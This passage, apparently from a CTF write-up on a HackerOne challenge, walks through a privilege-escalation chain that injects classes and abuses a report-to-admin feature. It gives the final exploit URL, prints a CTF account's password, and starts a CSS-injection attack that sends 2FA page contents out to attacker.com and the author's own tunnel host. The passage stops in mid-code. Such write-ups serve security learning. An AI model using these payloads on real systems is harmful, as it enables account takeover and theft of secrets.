style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;), &lt;/span&gt;&lt;span style=&quot;--shiki-light:#6F42C1;--shiki-dark:#B392F0&quot;&gt;$&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;--shiki-light:#032F62;--shiki-dark:#9ECBFF&quot;&gt;&quot;div.content&quot;&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;).&lt;/span&gt;&lt;span style=&quot;--shiki-light:#6F42C1;--shiki-dark:#B392F0&quot;&gt;addClass&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;--shiki-light:#032F62;--shiki-dark:#9ECBFF&quot;&gt;&quot;hidden&quot;&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;), &lt;/span&gt;&lt;span style=&quot;--shiki-light:#6F42C1;--shiki-dark:#B392F0&quot;&gt;$&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;--shiki-light:#032F62;--shiki-dark:#9ECBFF&quot;&gt;&quot;div.content-&quot;&lt;/span&gt;&lt;span style=&quot;--shiki-light:#D73A49;--shiki-dark:#F97583&quot;&gt; +&lt;/span&gt;&lt;span style=&quot;--shiki-light:#6F42C1;--shiki-dark:#B392F0&quot;&gt; $&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;--shiki-light:#005CC5;--shiki-dark:#79B8FF&quot;&gt;this&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;).&lt;/span&gt;&lt;span style=&quot;--shiki-light:#6F42C1;--shiki-dark:#B392F0&quot;&gt;attr&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;--shiki-light:#032F62;--shiki-dark:#9ECBFF&quot;&gt;&quot;data-target&quot;&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;)).&lt;/span&gt;&lt;span style=&quot;--shiki-light:#6F42C1;--shiki-dark:#B392F0&quot;&gt;removeClass&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;--shiki-light:#032F62;--shiki-dark:#9ECBFF&quot;&gt;&quot;hidden&quot;&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;), &lt;/span&gt;&lt;span style=&quot;--shiki-light:#D73A49;--shiki-dark:#F97583&quot;&gt;!&lt;/span&gt;&lt;span style=&quot;--shiki-light:#005CC5;--shiki-dark:#79B8FF&quot;&gt;1&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;}), &lt;/span&gt;&lt;span style=&quot;--shiki-light:#6F42C1;--shiki-dark:#B392F0&quot;&gt;$&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;--shiki-light:#032F62;--shiki-dark:#9ECBFF&quot;&gt;&quot;.sendReport&quot;&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;).&lt;/span&gt;&lt;span style=&quot;--shiki-light:#6F42C1;--shiki-dark:#B392F0&quot;&gt;click&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;--shiki-light:#D73A49;--shiki-dark:#F97583&quot;&gt;function&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;() {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;    $.&lt;/span&gt;&lt;span style=&quot;--shiki-light:#6F42C1;--shiki-dark:#B392F0&quot;&gt;get&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;--shiki-light:#032F62;--shiki-dark:#9ECBFF&quot;&gt;&quot;/admin/report?url=&quot;&lt;/span&gt;&lt;span style=&quot;--shiki-light:#D73A49;--shiki-dark:#F97583&quot;&gt; +&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt; url, &lt;/span&gt;&lt;span style=&quot;--shiki-light:#D73A49;--shiki-dark:#F97583&quot;&gt;function&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;() {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#6F42C1;--shiki-dark:#B392F0&quot;&gt;        alert&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;--shiki-light:#032F62;--shiki-dark:#9ECBFF&quot;&gt;&quot;Report sent to admin team&quot;&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;    }), &lt;/span&gt;&lt;span style=&quot;--shiki-light:#6F42C1;--shiki-dark:#B392F0&quot;&gt;$&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;--shiki-light:#032F62;--shiki-dark:#9ECBFF&quot;&gt;&quot;#myModal&quot;&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;).&lt;/span&gt;&lt;span style=&quot;--shiki-light:#6F42C1;--shiki-dark:#B392F0&quot;&gt;modal&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;--shiki-light:#032F62;--shiki-dark:#9ECBFF&quot;&gt;&quot;hide&quot;&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;}), document.location.hash.&lt;/span&gt;&lt;span style=&quot;--shiki-light:#005CC5;--shiki-dark:#79B8FF&quot;&gt;length&lt;/span&gt;&lt;span style=&quot;--shiki-light:#D73A49;--shiki-dark:#F97583&quot;&gt; &amp;gt;&lt;/span&gt;&lt;span style=&quot;--shiki-light:#005CC5;--shiki-dark:#79B8FF&quot;&gt; 0&lt;/span&gt;&lt;span style=&quot;--shiki-light:#D73A49;--shiki-dark:#F97583&quot;&gt; &amp;amp;&amp;amp;&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt; (&lt;/span&gt;&lt;span style=&quot;--shiki-light:#032F62;--shiki-dark:#9ECBFF&quot;&gt;&quot;#tab1&quot;&lt;/span&gt;&lt;span style=&quot;--shiki-light:#D73A49;--shiki-dark:#F97583&quot;&gt; ===&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt; document.location.hash &lt;/span&gt;&lt;span style=&quot;--shiki-light:#D73A49;--shiki-dark:#F97583&quot;&gt;&amp;amp;&amp;amp;&lt;/span&gt;&lt;span style=&quot;--shiki-light:#6F42C1;--shiki-dark:#B392F0&quot;&gt; $&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;--shiki-light:#032F62;--shiki-dark:#9ECBFF&quot;&gt;&quot;.tab1&quot;&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;).&lt;/span&gt;&lt;span style=&quot;--shiki-light:#6F42C1;--shiki-dark:#B392F0&quot;&gt;trigger&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;--shiki-light:#032F62;--shiki-dark:#9ECBFF&quot;&gt;&quot;click&quot;&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;), &lt;/span&gt;&lt;span style=&quot;--shiki-light:#032F62;--shiki-dark:#9ECBFF&quot;&gt;&quot;#tab2&quot;&lt;/span&gt;&lt;span style=&quot;--shiki-light:#D73A49;--shiki-dark:#F97583&quot;&gt; ===&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt; document.location.hash &lt;/span&gt;&lt;span style=&quot;--shiki-light:#D73A49;--shiki-dark:#F97583&quot;&gt;&amp;amp;&amp;amp;&lt;/span&gt;&lt;span style=&quot;--shiki-light:#6F42C1;--shiki-dark:#B392F0&quot;&gt; $&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;--shiki-light:#032F62;--shiki-dark:#9ECBFF&quot;&gt;&quot;.tab2&quot;&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;).&lt;/span&gt;&lt;span style=&quot;--shiki-light:#6F42C1;--shiki-dark:#B392F0&quot;&gt;trigger&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;--shiki-light:#032F62;--shiki-dark:#9ECBFF&quot;&gt;&quot;click&quot;&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;), &lt;/span&gt;&lt;span style=&quot;--shiki-light:#032F62;--shiki-dark:#9ECBFF&quot;&gt;&quot;#tab3&quot;&lt;/span&gt;&lt;span style=&quot;--shiki-light:#D73A49;--shiki-dark:#F97583&quot;&gt; ===&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt; document.location.hash &lt;/span&gt;&lt;span style=&quot;--shiki-light:#D73A49;--shiki-dark:#F97583&quot;&gt;&amp;amp;&amp;amp;&lt;/span&gt;&lt;span style=&quot;--shiki-light:#6F42C1;--shiki-dark:#B392F0&quot;&gt; $&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;--shiki-light:#032F62;--shiki-dark:#9ECBFF&quot;&gt;&quot;.tab3&quot;&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;).&lt;/span&gt;&lt;span style=&quot;--shiki-light:#6F42C1;--shiki-dark:#B392F0&quot;&gt;trigger&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;--shiki-light:#032F62;--shiki-dark:#9ECBFF&quot;&gt;&quot;click&quot;&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;), &lt;/span&gt;&lt;span style=&quot;--shiki-light:#032F62;--shiki-dark:#9ECBFF&quot;&gt;&quot;#tab4&quot;&lt;/span&gt;&lt;span style=&quot;--shiki-light:#D73A49;--shiki-dark:#F97583&quot;&gt; ===&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt; document.location.hash &lt;/span&gt;&lt;span style=&quot;--shiki-light:#D73A49;--shiki-dark:#F97583&quot;&gt;&amp;amp;&amp;amp;&lt;/span&gt;&lt;span style=&quot;--shiki-light:#6F42C1;--shiki-dark:#B392F0&quot;&gt; $&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;--shiki-light:#032F62;--shiki-dark:#9ECBFF&quot;&gt;&quot;.tab4&quot;&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;).&lt;/span&gt;&lt;span style=&quot;--shiki-light:#6F42C1;--shiki-dark:#B392F0&quot;&gt;trigger&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;--shiki-light:#032F62;--shiki-dark:#9ECBFF&quot;&gt;&quot;click&quot;&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;));&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The &lt;code&gt;/js/website.js&lt;/code&gt; Javascript File.&lt;/p&gt;
&lt;p&gt;It has an endpoint &lt;code&gt;GET /admin/upgrade?username=&lt;/code&gt; which was for upgrading staff to an admin. But only upon admins invoking, it would work. Ohk, so we do have a CSRF-ish feature of &lt;code&gt;Report This Page&lt;/code&gt; to admin. So lets report &lt;strong&gt;/admin/upgrade?username=sandra.allision&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;But the feature has security enabled!&lt;br&gt;
&lt;code&gt;Pages in the /admin directory will be ignored for security&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;After following every rabbit hole of bypassing this feature I gave up on it and started to look for something else and the last line of JS file caught my eye.&lt;/p&gt;
&lt;pre class=&quot;astro-code astro-code-themes github-light github-dark&quot; style=&quot;--shiki-light:#24292e;--shiki-dark:#e1e4e8;--shiki-light-bg:#fff;--shiki-dark-bg:#24292e; overflow-x: auto;&quot; tabindex=&quot;0&quot; data-language=&quot;javascript&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;--shiki-light:#032F62;--shiki-dark:#9ECBFF&quot;&gt;&quot;#tab1&quot;&lt;/span&gt;&lt;span style=&quot;--shiki-light:#D73A49;--shiki-dark:#F97583&quot;&gt; ===&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt; document.location.hash &lt;/span&gt;&lt;span style=&quot;--shiki-light:#D73A49;--shiki-dark:#F97583&quot;&gt;&amp;amp;&amp;amp;&lt;/span&gt;&lt;span style=&quot;--shiki-light:#6F42C1;--shiki-dark:#B392F0&quot;&gt; $&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;--shiki-light:#032F62;--shiki-dark:#9ECBFF&quot;&gt;&quot;.tab1&quot;&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;).&lt;/span&gt;&lt;span style=&quot;--shiki-light:#6F42C1;--shiki-dark:#B392F0&quot;&gt;trigger&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;--shiki-light:#032F62;--shiki-dark:#9ECBFF&quot;&gt;&quot;click&quot;&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;), ..&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This is almost useless in the app’s context, But it does one very interesting thing, and i.e. it triggers click event.&lt;/p&gt;
&lt;p&gt;So if &lt;code&gt;#tab2&lt;/code&gt; is in the URL, all elements with class tab2 will get their click event triggered. And what if, one of that element has class &lt;code&gt;upgradeToAdmin&lt;/code&gt;? Yep the click handler in our JS will fire the &lt;code&gt;GET /admin/upgrade?username=&lt;/code&gt;. We also have a way to control CSS of elements through the &lt;code&gt;Update avatar feature&lt;/code&gt; which takes an avatar class from the client-side.&lt;/p&gt;
&lt;p&gt;So &lt;code&gt;profile_avatar=tab1 upgradeToAdmin&lt;/code&gt; and &lt;code&gt;#tab1&lt;/code&gt; fragment in URI will trigger the ajax. But we want this to be triggered by admin. We need to report the page to admin where our injected classes are getting reflected? And we do have a unique and relevant page of tickets &lt;code&gt;/?template=ticket&amp;amp;ticket_id=3582&lt;/code&gt; where our classes are Reflected in our avatar element 🔥 So, Reporting &lt;strong&gt;/?template=ticket&amp;amp;ticket_id=3582#tab1&lt;/strong&gt; with &lt;strong&gt;profile_avatar=tab1+upgradeToAdmin&lt;/strong&gt; will do the trick!&lt;/p&gt;
&lt;p&gt;But we are still Just missing one thing of the puzzle.&lt;/p&gt;
&lt;pre class=&quot;astro-code astro-code-themes github-light github-dark&quot; style=&quot;--shiki-light:#24292e;--shiki-dark:#e1e4e8;--shiki-light-bg:#fff;--shiki-dark-bg:#24292e; overflow-x: auto;&quot; tabindex=&quot;0&quot; data-language=&quot;javascript&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#D73A49;--shiki-dark:#F97583&quot;&gt;let&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt; t &lt;/span&gt;&lt;span style=&quot;--shiki-light:#D73A49;--shiki-dark:#F97583&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;--shiki-light:#6F42C1;--shiki-dark:#B392F0&quot;&gt; $&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;--shiki-light:#032F62;--shiki-dark:#9ECBFF&quot;&gt;&apos;input[name=&quot;username&quot;]&apos;&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;).&lt;/span&gt;&lt;span style=&quot;--shiki-light:#6F42C1;--shiki-dark:#B392F0&quot;&gt;val&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;();&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;    $.&lt;/span&gt;&lt;span style=&quot;--shiki-light:#6F42C1;--shiki-dark:#B392F0&quot;&gt;get&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;--shiki-light:#032F62;--shiki-dark:#9ECBFF&quot;&gt;&quot;/admin/upgrade?username=&quot;&lt;/span&gt;&lt;span style=&quot;--shiki-light:#D73A49;--shiki-dark:#F97583&quot;&gt; +&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt; t, &lt;/span&gt;&lt;span style=&quot;--shiki-light:#D73A49;--shiki-dark:#F97583&quot;&gt;function&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;() {&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;we still don’t have a page to report on which our CSS classes are reflected as well as has an input element with name attribute &lt;code&gt;username&lt;/code&gt; &amp;amp; value set to &lt;code&gt;sandra.allison&lt;/code&gt; 😢&lt;/p&gt;
&lt;p&gt;There were two possibilities, either there is HTMLi in the username or we have to use the Login template. The later seemed impossible at the moment so followed a bit of rabbit hole. But the use of the &lt;code&gt;template&lt;/code&gt; parameter in query was itchy, it must have some use in CTF or else one could easily develop an app UI without such parameter.&lt;/p&gt;
&lt;p&gt;I thought, What If we could load two templates(Login &amp;amp; Ticket) simultaneously with this param, and literally laughed 😆 But when I fuzzed the template parameter, I was shocked and ecstatic. literally. We can load multiple templates in one page indeed 🤯&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;/?template[0]=login\&amp;amp;template[1]=ticket&amp;amp;ticket_id=3582#tab1&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/2020/06/19/HackerOne-2006-CTF-Writeup/simult-temp.png&quot; alt=&quot;&quot; title=&quot;staff&quot;&gt;&lt;/p&gt;
&lt;p&gt;It only not loaded two templates, It also respected &lt;code&gt;ticket_id&lt;/code&gt; parameter. This definitely showed me that this is not a rabbit hole! Now as I was confident about my partial exploit URL to report to Admin, We still need value populated in input tag as &lt;code&gt;sandra.allison&lt;/code&gt;. It was very easy to deduce that we are missing something in our URL, a query parameter probably that will populate input tag, a fair guess is &lt;code&gt;username&lt;/code&gt; in the query. And yes! Application reflects it back into Login template in attribute &lt;code&gt;value&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Final Exploit:&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;/admin/report?url=Base64(?template[0]=login&amp;amp;username=sandra.allison&amp;amp;template[1]=ticket&amp;amp;ticket_id=3582#&lt;br&gt;
tab1&lt;/strong&gt; )&lt;/p&gt;
&lt;p&gt;We report it and Sandra is now Admin! 👸&lt;/p&gt;
&lt;p&gt;This Step was my favorite step in the CTF 🧠. The thing I liked was the components(Js &amp;amp; CSS) involved in solution were not just there for CTF, it was actually a working code and yet it gave us Privilege Escalation exploit.&lt;/p&gt;
&lt;p&gt;After becoming admin, we get to know that BountyPay’s admins basically can see customers passwords in plaintext 👀, &lt;a href=&quot;https://twitter.com/Hacker0x01/status/1266454022124376064&quot;&gt;@Hackerone&lt;/a&gt; could have just contacted BountyPay support instead of declaring CTF to get Marten’s credentials (&lt;strong&gt;marten.mickos : h\&amp;amp;H5wy2Lggj*kKn4OD&amp;amp;Ype&lt;/strong&gt;) but where’s the fun in that 🙂&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/2020/06/19/HackerOne-2006-CTF-Writeup/marten_creds.png&quot; alt=&quot;&quot; title=&quot;staff&quot;&gt;&lt;/p&gt;
&lt;h2 id=&quot;Stealing-Payment-2FA-Code-using-CSS&quot;&gt;Stealing Payment 2FA Code using CSS&lt;/h2&gt;
&lt;p&gt;We Login with these creds on App, Again bypassing the Login 2FA with the trick from step 2, Get the May 2020’s bounties, Click Pay, and ..&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/2020/06/19/HackerOne-2006-CTF-Writeup/meme.jpg&quot; alt=&quot;&quot; title=&quot;meme&quot;&gt;&lt;/p&gt;
&lt;p&gt;Another 2FA challenge! 😨&lt;/p&gt;
&lt;p&gt;This time the implementation was different, First it asked us to send the 2FA challenge code, Then sent a POST request,&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/2020/06/19/HackerOne-2006-CTF-Writeup/style_post.png&quot; alt=&quot;&quot; title=&quot;style&quot;&gt;&lt;/p&gt;
&lt;p&gt;Seems like It’s taking the URL of a stylesheet which is used for styling the 2FA code page. To just confirm that if it can be changed to our controlled CSS and the execution context we are in:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/2020/06/19/HackerOne-2006-CTF-Writeup/collab.png&quot; alt=&quot;&quot; title=&quot;collab&quot;&gt;&lt;/p&gt;
&lt;p&gt;No, Problem. ⚔️ We do have the Awesome research &lt;a href=&quot;https://docs.google.com/viewer?url=www.businessinfo.co.uk/labs/talk/The_Sexy_Assassin.ppt&quot;&gt;The Sexy Assassin - Tactical Exploitation using CSS&lt;/a&gt; from legendary Gareth Heyes, David Lindsay, and Eduardo Vela. TL;DR, We can exfiltrate the data from the 2FA page sent to Marten if some conditions are met. Attack Methodology from the above research:&lt;/p&gt;
&lt;h3 id=&quot;CSS-can-Compute&quot;&gt;CSS can Compute!&lt;/h3&gt;
&lt;p&gt;How:&lt;/p&gt;
&lt;pre class=&quot;astro-code astro-code-themes github-light github-dark&quot; style=&quot;--shiki-light:#24292e;--shiki-dark:#e1e4e8;--shiki-light-bg:#fff;--shiki-dark-bg:#24292e; overflow-x: auto;&quot; tabindex=&quot;0&quot; data-language=&quot;cs&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#6F42C1;--shiki-dark:#B392F0&quot;&gt;element&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;:condition{&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;    action;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;So, a CSS payload like:&lt;/p&gt;
&lt;pre class=&quot;astro-code astro-code-themes github-light github-dark&quot; style=&quot;--shiki-light:#24292e;--shiki-dark:#e1e4e8;--shiki-light-bg:#fff;--shiki-dark-bg:#24292e; overflow-x: auto;&quot; tabindex=&quot;0&quot; data-language=&quot;css&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#22863A;--shiki-dark:#85E89D&quot;&gt;input&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;[&lt;/span&gt;&lt;span style=&quot;--shiki-light:#6F42C1;--shiki-dark:#B392F0&quot;&gt;value&lt;/span&gt;&lt;span style=&quot;--shiki-light:#D73A49;--shiki-dark:#F97583&quot;&gt;*=&lt;/span&gt;&lt;span style=&quot;--shiki-light:#032F62;--shiki-dark:#9ECBFF&quot;&gt;&quot;secret&quot;&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;]{} {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#005CC5;--shiki-dark:#79B8FF&quot;&gt;    background-image&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;:&lt;/span&gt;&lt;span style=&quot;--shiki-light:#005CC5;--shiki-dark:#79B8FF&quot;&gt;url&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;--shiki-light:#032F62;--shiki-dark:#9ECBFF&quot;&gt;&quot;https://attacker.com/?value_contains=secret&quot;&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;will successfully exfiltrate the information that one of the input tag on the HTML page contains value &lt;code&gt;secret&lt;/code&gt; somewhere. In this way, we can use &lt;a href=&quot;https://developer.mozilla.org/en-US/docs/Web/CSS/Attribute_selectors&quot;&gt;CSS Attribute Selectors&lt;/a&gt; for our exfiltration.&lt;/p&gt;
&lt;p&gt;So let’s go step by step to deduce what’s on the marten’s payment 2FA page:&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;1. What elements?&lt;/strong&gt;&lt;/p&gt;
&lt;pre class=&quot;astro-code astro-code-themes github-light github-dark&quot; style=&quot;--shiki-light:#24292e;--shiki-dark:#e1e4e8;--shiki-light-bg:#fff;--shiki-dark-bg:#24292e; overflow-x: auto;&quot; tabindex=&quot;0&quot; data-language=&quot;css&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#22863A;--shiki-dark:#85E89D&quot;&gt;input&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#005CC5;--shiki-dark:#79B8FF&quot;&gt;  background-image&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;:&lt;/span&gt;&lt;span style=&quot;--shiki-light:#005CC5;--shiki-dark:#79B8FF&quot;&gt;url&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;--shiki-light:#032F62;--shiki-dark:#9ECBFF&quot;&gt;&quot;https://tunnel.shoebpatel.com/?input&quot;&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;}&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
